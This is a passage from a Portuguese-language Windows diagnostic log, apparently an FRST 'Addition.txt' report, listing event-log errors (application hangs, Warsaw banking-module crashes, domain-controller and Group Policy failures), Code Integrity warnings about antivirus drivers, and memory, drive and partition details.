Description: Falha ao criar ponto de restauração (Processo = C:\Users\LABORA~1\AppData\Local\Temp\vc_redist.x86.exe /install /quiet /norestart; Descrição = Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215; Erro = 0x80070514).

Error: (02/22/2017 06:37:57 AM) (Source: SceCli) (EventID: 1001) (User: )
Description: A diretiva de segurança não pode ser propagada.
Não é possível acessar o modelo. Código de erro = 3.
\\Widi.local\sysvol\Widi.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf.

Error: (02/17/2017 05:43:45 AM) (Source: SceCli) (EventID: 1001) (User: )
Description: A diretiva de segurança não pode ser propagada.
Não é possível acessar o modelo. Código de erro = 3.
\\Widi.local\sysvol\Widi.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf.

Error: (02/09/2017 10:55:25 AM) (Source: Application Hang) (EventID: 1002) (User: )
Description: O programa Skype.exe versão 7.32.0.103 parou de interagir com o Windows e foi fechado. Para ver se há mais informações disponíveis sobre o problema, verifique o histórico de problemas no painel de controle da Central de Ações.

ID de Processo: 104

Hora de Início: 01d282ba3c04c41c

Hora de Término: 19

Caminho do Aplicativo: C:\Program Files (x86)\Skype\Phone\Skype.exe

Id do Relatório: b1938e2e-eece-11e6-ba4f-0030674fdd2e

Error: (01/30/2017 05:47:25 AM) (Source: SceCli) (EventID: 1001) (User: )
Description: A diretiva de segurança não pode ser propagada.
Não é possível acessar o modelo. Código de erro = 3.
\\Widi.local\sysvol\Widi.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf.

Error: (01/19/2017 07:08:13 AM) (Source: Application Hang) (EventID: 1002) (User: )
Description: O programa IEXPLORE.EXE versão 11.0.9600.18500 parou de interagir com o Windows e foi fechado. Para ver se há mais informações disponíveis sobre o problema, verifique o histórico de problemas no painel de controle da Central de Ações.

ID de Processo: b04

Hora de Início: 01d2723bea31017c

Hora de Término: 10

Caminho do Aplicativo: C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Id do Relatório:

Error: (01/19/2017 05:53:51 AM) (Source: SceCli) (EventID: 1001) (User: )
Description: A diretiva de segurança não pode ser propagada.
Não é possível acessar o modelo. Código de erro = 3.
\\Widi.local\sysvol\Widi.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf.

Error: (01/12/2017 03:54:48 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nome de aplicativo com falha: core.exe, versão: 2.8.3.10739, carimbo de hora: 0x5733a0e3
Nome do módulo de falhas: wsbrmu.dll, versão: 1.12.0.10740, carimbo de hora: 0x5733aaf4
Código de exceção: 0xc0000005
Deslocamento com falha: 0x000000000010cdeb
Identificação do processo com falha: 0x4f0
Hora de início do aplicativo com falha: 0x01d26cfcf75f96a9
Caminho do aplicativo com falha: C:\Program Files\Diebold\Warsaw\core.exe
FCaminho do módulo de falhas: C:\Program Files\Diebold\Warsaw\wsbrmu.dll
Identificação do Relatório: 96d3ab99-d8f8-11e6-b152-0030674fdd2e

Error: (01/11/2017 12:46:46 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nome de aplicativo com falha: core.exe, versão: 2.8.3.10739, carimbo de hora: 0x5733a0e3
Nome do módulo de falhas: wsbrmu.dll, versão: 1.12.0.10740, carimbo de hora: 0x5733aaf4
Código de exceção: 0xc0000005
Deslocamento com falha: 0x000000000010cdeb
Identificação do processo com falha: 0x930
Hora de início do aplicativo com falha: 0x01d26bb4f3c29bc7
Caminho do aplicativo com falha: C:\Program Files\Diebold\Warsaw\core.exe
FCaminho do módulo de falhas: C:\Program Files\Diebold\Warsaw\wsbrmu.dll
Identificação do Relatório: 9297659a-d7b0-11e6-8a0a-0030674fdd2e

Error: (01/10/2017 04:46:47 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Nome de aplicativo com falha: core.exe, versão: 2.8.3.10739, carimbo de hora: 0x5733a0e3
Nome do módulo de falhas: wsbrmu.dll, versão: 1.12.0.10740, carimbo de hora: 0x5733aaf4
Código de exceção: 0xc0000005
Deslocamento com falha: 0x000000000010cdeb
Identificação do processo com falha: 0x1254
Hora de início do aplicativo com falha: 0x01d26b71e59f81ed
Caminho do aplicativo com falha: C:\Program Files\Diebold\Warsaw\core.exe
FCaminho do módulo de falhas: C:\Program Files\Diebold\Warsaw\wsbrmu.dll
Identificação do Relatório: 850f1e74-d76d-11e6-8a0a-0030674fdd2e


Erros de Sistema:
=============
Error: (03/03/2017 10:31:42 AM) (Source: TermService) (EventID: 1067) (User: )
Description: O servidor de terminal não pode registrar o Nome da Entidade de Serviço 'TERMSRV' a ser usado para autenticação de servidor. Erro: O domínio especificado não existe ou não pôde ser contatado.
.

Error: (03/03/2017 10:25:39 AM) (Source: Microsoft-Windows-GroupPolicy) (EventID: 1054) (User: Widi)
Description: O processamento da Diretiva de Grupo falhou. O Windows não pôde obter o nome de um controlador de domínio. Isso pode ter ser sido causado por uma falha na resolução de nomes. Verifique se o Sistema de Nome de Domínio (DNS) está configurado e funcionando corretamente.

Error: (03/03/2017 10:25:37 AM) (Source: NETLOGON) (EventID: 5719) (User: )
Description: Este computador não pôde configurar uma sessão segura com um
controlador de domínio no domínio Widi devido ao seguinte:
O servidor RPC não está disponível.


Isso pode causar problemas de autenticação. Certifique-se de
que o computador está conectado à rede. Se o problema persistir,
contate o administrador do domínio.



INFORMAÇÕES ADICIONAIS

Se este computador for um controlador de domínio para o
domínio especificado, ele configura a sessão segura para o
emulador de controlador de domínio primário no domínio
especificado. Caso contrário, este computador configura a
sessão segura para qualquer controlador de domínio no
domínio especificado.

Error: (03/03/2017 10:25:21 AM) (Source: Microsoft-Windows-GroupPolicy) (EventID: 1030) (User: AUTORIDADE NT)
Description: A Diretiva de Grupo não foi processada. O Windows tentou recuperar novas configurações de Diretiva de Grupo para o usuário ou computador. Veja o código e a descrição do erro na guia de detalhes. O Windows automaticamente tentará executar essa operação novamente no próximo ciclo de atualização. Computadores que façam parte do domínio têm de ter resolução de nomes própria e conexão de rede com um controlador de domínio para detecção de novos objetos de Diretiva de Grupo e configurações. Será criado um log para o evento se a Diretiva de Grupo tiver êxito.

Error: (03/03/2017 10:25:18 AM) (Source: NETLOGON) (EventID: 5719) (User: )
Description: Este computador não pôde configurar uma sessão segura com um
controlador de domínio no domínio Widi devido ao seguinte:
Não há servidores de logon disponíveis para atender à solicitação de logon.


Isso pode causar problemas de autenticação. Certifique-se de
que o computador está conectado à rede. Se o problema persistir,
contate o administrador do domínio.



INFORMAÇÕES ADICIONAIS

Se este computador for um controlador de domínio para o
domínio especificado, ele configura a sessão segura para o
emulador de controlador de domínio primário no domínio
especificado. Caso contrário, este computador configura a
sessão segura para qualquer controlador de domínio no
domínio especificado.

Error: (03/03/2017 10:16:17 AM) (Source: Microsoft-Windows-GroupPolicy) (EventID: 1054) (User: Widi)
Description: O processamento da Diretiva de Grupo falhou. O Windows não pôde obter o nome de um controlador de domínio. Isso pode ter ser sido causado por uma falha na resolução de nomes. Verifique se o Sistema de Nome de Domínio (DNS) está configurado e funcionando corretamente.

Error: (03/03/2017 09:36:30 AM) (Source: Service Control Manager) (EventID: 7030) (User: )
Description: O serviço SSSvc está marcado como um serviço interativo. No entanto, o sistema está configurado para não permitir serviços interativos. Esse serviço pode não funcionar corretamente.

Error: (03/02/2017 05:01:09 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: O servidor {F9717507-6651-4EDB-BFF7-AE615179BCCF} não se registrou com o DCOM dentro do tempo limite requerido.

Error: (03/02/2017 06:38:21 AM) (Source: NETLOGON) (EventID: 5719) (User: )
Description: Este computador não pôde configurar uma sessão segura com um
controlador de domínio no domínio Widi devido ao seguinte:
Não há servidores de logon disponíveis para atender à solicitação de logon.


Isso pode causar problemas de autenticação. Certifique-se de
que o computador está conectado à rede. Se o problema persistir,
contate o administrador do domínio.



INFORMAÇÕES ADICIONAIS

Se este computador for um controlador de domínio para o
domínio especificado, ele configura a sessão segura para o
emulador de controlador de domínio primário no domínio
especificado. Caso contrário, este computador configura a
sessão segura para qualquer controlador de domínio no
domínio especificado.

Error: (02/24/2017 03:50:18 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: O servidor {F9717507-6651-4EDB-BFF7-AE615179BCCF} não se registrou com o DCOM dentro do tempo limite requerido.


CodeIntegrity:
===================================
Date: 2016-09-09 07:49:08.390
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswKbd.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-09 07:49:08.328
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswSnx.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-09 06:49:40.578
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswKbd.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-09 06:49:40.421
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswSnx.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-08 18:03:19.546
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswKbd.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-08 18:03:19.406
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswSnx.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-08 17:40:09.765
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswKbd.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-08 17:40:09.687
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswSnx.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-07 17:38:05.406
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswKbd.sys because the set of per-page image hashes could not be found on the system.

Date: 2016-09-07 17:38:05.328
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\drivers\aswSnx.sys because the set of per-page image hashes could not be found on the system.


==================== Informações da Memória ===========================

Processador: Pentium(R) Dual-Core CPU E5400 @ 2.70GHz
Percentagem de memória em uso: 54%
RAM física total: 4086.3 MB
RAM física disponível: 1876.66 MB
Virtual Total: 8170.79 MB
Virtual disponível: 5751.01 MB

==================== Drives ================================

Drive c: () (Fixed) (Total:465.66 GB) (Free:400.3 GB) NTFS
Drive y: (DADOS) (Network) (Total:868.47 GB) (Free:244.56 GB) NTFS
Drive z: (DADOS) (Network) (Total:868.47 GB) (Free:244.56 GB) NTFS

==================== MBR & Tabela de Partições ==================

========================================================
Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: D11FD11F)
Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=465.7 GB) - (Type=07 NTFS)

==================== Fim de Addition.txt ============================